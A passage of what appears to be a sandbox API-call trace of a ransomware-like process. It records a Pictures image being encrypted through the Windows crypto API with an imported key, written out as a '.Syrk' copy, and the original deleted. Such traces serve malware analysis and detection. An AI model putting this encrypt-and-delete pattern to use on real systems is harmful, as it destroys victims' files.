(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0246.134] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0246.134] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0246.134] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0246.134] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0246.134] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0246.134] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0246.134] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0246.134] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0246.134] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0246.134] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0246.134] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0246.134] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0246.135] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0246.135] EtwEventActivityIdControl () returned 0x0 [0246.135] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0246.135] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0246.135] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0246.135] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0246.137] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d210) returned 1 [0246.139] CryptImportKey (in: hProv=0x5c4d210, pbData=0x23dae78*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c996a0) returned 1 [0246.139] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0246.139] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.139] EtwEventActivityIdControl () returned 0x0 [0246.139] EtwEventActivityIdControl () returned 0x0 [0246.139] EtwEventActivityIdControl () returned 0x0 [0246.151] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\3r8d3dnv_alj.jpg")) returned 0x20 [0246.152] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\3r8d3dnv_alj.jpg")) returned 0x20 [0246.152] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0246.152] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg", lpFilePart=0x0) returned 0x2c [0246.152] EtwEventActivityIdControl () returned 0x0 [0246.153] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.153] EtwEventActivityIdControl () returned 0x0 [0246.153] EtwEventActivityIdControl () returned 0x0 [0246.153] EtwEventActivityIdControl () returned 0x0 [0246.154] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0246.154] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg", lpFilePart=0x0) returned 0x2c [0246.154] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0246.154] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\3r8d3dnv_alj.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c4 [0246.155] GetFileType (hFile=0x3c4) returned 0x1 [0246.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0246.155] GetFileType (hFile=0x3c4) returned 0x1 [0246.155] EtwEventActivityIdControl () returned 0x0 [0246.155] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.155] EtwEventActivityIdControl () returned 0x0 [0246.155] EtwEventActivityIdControl () returned 0x0 [0246.155] EtwEventActivityIdControl () returned 0x0 [0246.156] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0246.157] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg.Syrk", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg.Syrk", lpFilePart=0x0) returned 0x31 [0246.157] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0246.157] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\3r8d3dnv_alj.jpg.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0246.158] GetFileType (hFile=0x454) returned 0x1 [0246.158] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0246.158] GetFileType (hFile=0x454) returned 0x1 [0246.158] EtwEventActivityIdControl () returned 0x0 [0246.158] CryptGenRandom (in: hProv=0x5c4d210, dwLen=0x10, pbBuffer=0x23eb0bc | out: pbBuffer=0x23eb0bc) returned 1 [0246.159] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0246.159] CryptDuplicateKey (in: hKey=0x5c996a0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c998a0) returned 1 [0246.159] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0246.159] CryptSetKeyParam (hKey=0x5c998a0, dwParam=0x4, pbData=0x23ec3e8*=0x1, dwFlags=0x0) returned 1 [0246.159] CryptSetKeyParam (hKey=0x5c998a0, dwParam=0x1, pbData=0x23ec3b4, dwFlags=0x0) returned 1 [0246.160] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.160] EtwEventActivityIdControl () returned 0x0 [0246.160] EtwEventActivityIdControl () returned 0x0 [0246.160] EtwEventActivityIdControl () returned 0x0 [0246.161] EtwEventActivityIdControl () returned 0x0 [0246.161] ReadFile (in: hFile=0x3c4, lpBuffer=0x23ef030, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23ef030*, lpNumberOfBytesRead=0x5a2e7d8*=0xb8f5, lpOverlapped=0x0) returned 1 [0246.163] CryptEncrypt (in: hKey=0x5c998a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2403048*, pdwDataLen=0x5a2e7cc*=0xb8f0, dwBufLen=0xb8f0 | out: pbData=0x2403048*, pdwDataLen=0x5a2e7cc*=0xb8f0) returned 1 [0246.164] WriteFile (in: hFile=0x454, lpBuffer=0x23eb198*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23eb198*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0246.165] WriteFile (in: hFile=0x454, lpBuffer=0x2404034*, nNumberOfBytesToWrite=0xa904, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2404034*, lpNumberOfBytesWritten=0x5a2e7b0*=0xa904, lpOverlapped=0x0) returned 1 [0246.180] ReadFile (in: hFile=0x3c4, lpBuffer=0x23ef030, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23ef030*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0246.181] CryptEncrypt (in: hKey=0x5c998a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x240e944*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x240e944*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0246.181] CryptEncrypt (in: hKey=0x5c998a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x240e960*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x240e960*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0246.181] WriteFile (in: hFile=0x454, lpBuffer=0x23eb198*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x23eb198*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0246.182] CloseHandle (hObject=0x454) returned 1 [0246.187] CloseHandle (hObject=0x3c4) returned 1 [0246.187] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.188] EtwEventActivityIdControl () returned 0x0 [0246.188] EtwEventActivityIdControl () returned 0x0 [0246.188] EtwEventActivityIdControl () returned 0x0 [0246.194] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\3r8d3dnv_alj.jpg")) returned 0x20 [0246.197] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0246.197] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg", lpFilePart=0x0) returned 0x2c [0246.197] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0246.197] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0246.198] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0246.198] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0246.198] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0246.198] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0246.198] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0246.198] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0246.198] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0246.198] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0246.198] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0246.198] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0246.199] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0246.199] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0246.199] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0246.199] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0246.199] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\3r8d3dnv_alj.jpg")) returned 0x20 [0246.199] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0246.199] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg", lpFilePart=0x0) returned 0x2c [0246.202] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0246.202] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg", lpFilePart=0x0) returned 0x2c [0246.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0246.202] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0246.202] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg", lpFilePart=0x0) returned 0x2c [0246.202] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\3r8d3dnv_alj.jpg\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0246.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0246.203] CoTaskMemAlloc (cb=0x404) returned 0x5c98368 [0246.203] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c98368, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0246.203] CoTaskMemFree (pv=0x5c98368) [0246.207] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\3r8d3dnv_alj.jpg")) returned 0x20 [0246.208] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2d [0246.208] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg", nBufferLength=0x2d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg", lpFilePart=0x0) returned 0x2c [0246.208] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0246.208] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\3r8d3dnv_alj.jpg"), fInfoLevelId=0x0, lpFileInformation=0x2419b54 | out: lpFileInformation=0x2419b54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7e37b10, ftCreationTime.dwHighDateTime=0x1d99762, ftLastAccessTime.dwLowDateTime=0x83cab3b0, ftLastAccessTime.dwHighDateTime=0x1d99960, ftLastWriteTime.dwLowDateTime=0x83cab3b0, ftLastWriteTime.dwHighDateTime=0x1d99960, nFileSizeHigh=0x0, nFileSizeLow=0xb8f5)) returned 1 [0246.208] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0246.208] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\3r8d3dnv_alj.jpg")) returned 1 [0246.213] EtwEventActivityIdControl () returned 0x0 [0246.214] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.214] EtwEventActivityIdControl () returned 0x0 [0246.214] EtwEventActivityIdControl () returned 0x0 [0246.214] EtwEventActivityIdControl () returned 0x0 [0246.221] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\3r8d3dnv_alj.jpg.syrk")) returned 0x20 [0246.221] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\3r8d3dnv_alj.jpg.syrk")) returned 0x20 [0246.222] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0246.222] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg.Syrk", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg.Syrk", lpFilePart=0x0) returned 0x31 [0246.222] EtwEventActivityIdControl () returned 0x0 [0246.222] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.223] EtwEventActivityIdControl () returned 0x0 [0246.223] EtwEventActivityIdControl () returned 0x0 [0246.223] EtwEventActivityIdControl () returned 0x0 [0246.226] EtwEventActivityIdControl () returned 0x0 [0246.227] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.227] EtwEventActivityIdControl () returned 0x0 [0246.227] EtwEventActivityIdControl () returned 0x0 [0246.227] EtwEventActivityIdControl () returned 0x0 [0246.230] EtwEventActivityIdControl () returned 0x0 [0246.231] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.231] EtwEventActivityIdControl () returned 0x0 [0246.231] EtwEventActivityIdControl () returned 0x0 [0246.231] EtwEventActivityIdControl () returned 0x0 [0246.235] EtwEventActivityIdControl () returned 0x0 [0246.235] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.235] EtwEventActivityIdControl () returned 0x0 [0246.235] EtwEventActivityIdControl () returned 0x0 [0246.235] EtwEventActivityIdControl () returned 0x0 [0246.239] EtwEventActivityIdControl () returned 0x0 [0246.239] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.239] EtwEventActivityIdControl () returned 0x0 [0246.239] EtwEventActivityIdControl () returned 0x0 [0246.239] EtwEventActivityIdControl () returned 0x0 [0246.243] EtwEventActivityIdControl () returned 0x0 [0246.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0246.247] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\3r8D3DNV_Alj.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\3r8d3dnv_alj.jpg.syrk"), fInfoLevelId=0x0, lpFileInformation=0x24233c4 | out: lpFileInformation=0x24233c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ceb70, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0xe6ceb70, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0xe71ae30, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0xb914)) returned 1 [0246.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0246.248] GetConsoleOutputCP () returned 0x1b5 [0246.249] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0246.249] GetConsoleOutputCP () returned 0x1b5 [0246.250] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0246.250] GetConsoleOutputCP () returned 0x1b5 [0246.250] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0246.250] GetConsoleOutputCP () returned 0x1b5 [0246.250] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0246.250] GetConsoleOutputCP () returned 0x1b5 [0246.250] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0246.250] GetConsoleOutputCP () returned 0x1b5 [0246.251] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0246.251] GetConsoleOutputCP () returned 0x1b5 [0246.251] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0246.251] GetConsoleOutputCP () returned 0x1b5 [0246.251] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0246.251] GetConsoleOutputCP () returned 0x1b5 [0246.251] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0246.251] GetConsoleOutputCP () returned 0x1b5 [0246.252] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0246.252] GetConsoleOutputCP () returned 0x1b5 [0246.252] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0246.252] GetConsoleOutputCP () returned 0x1b5 [0246.252] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0246.252] GetConsoleOutputCP () returned 0x1b5 [0246.252] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0246.252] GetConsoleOutputCP () returned 0x1b5 [0246.253] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0246.253] GetConsoleOutputCP () returned 0x1b5 [0246.253] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0246.253] GetConsoleOutputCP () returned 0x1b5 [0246.253] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0246.253] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, 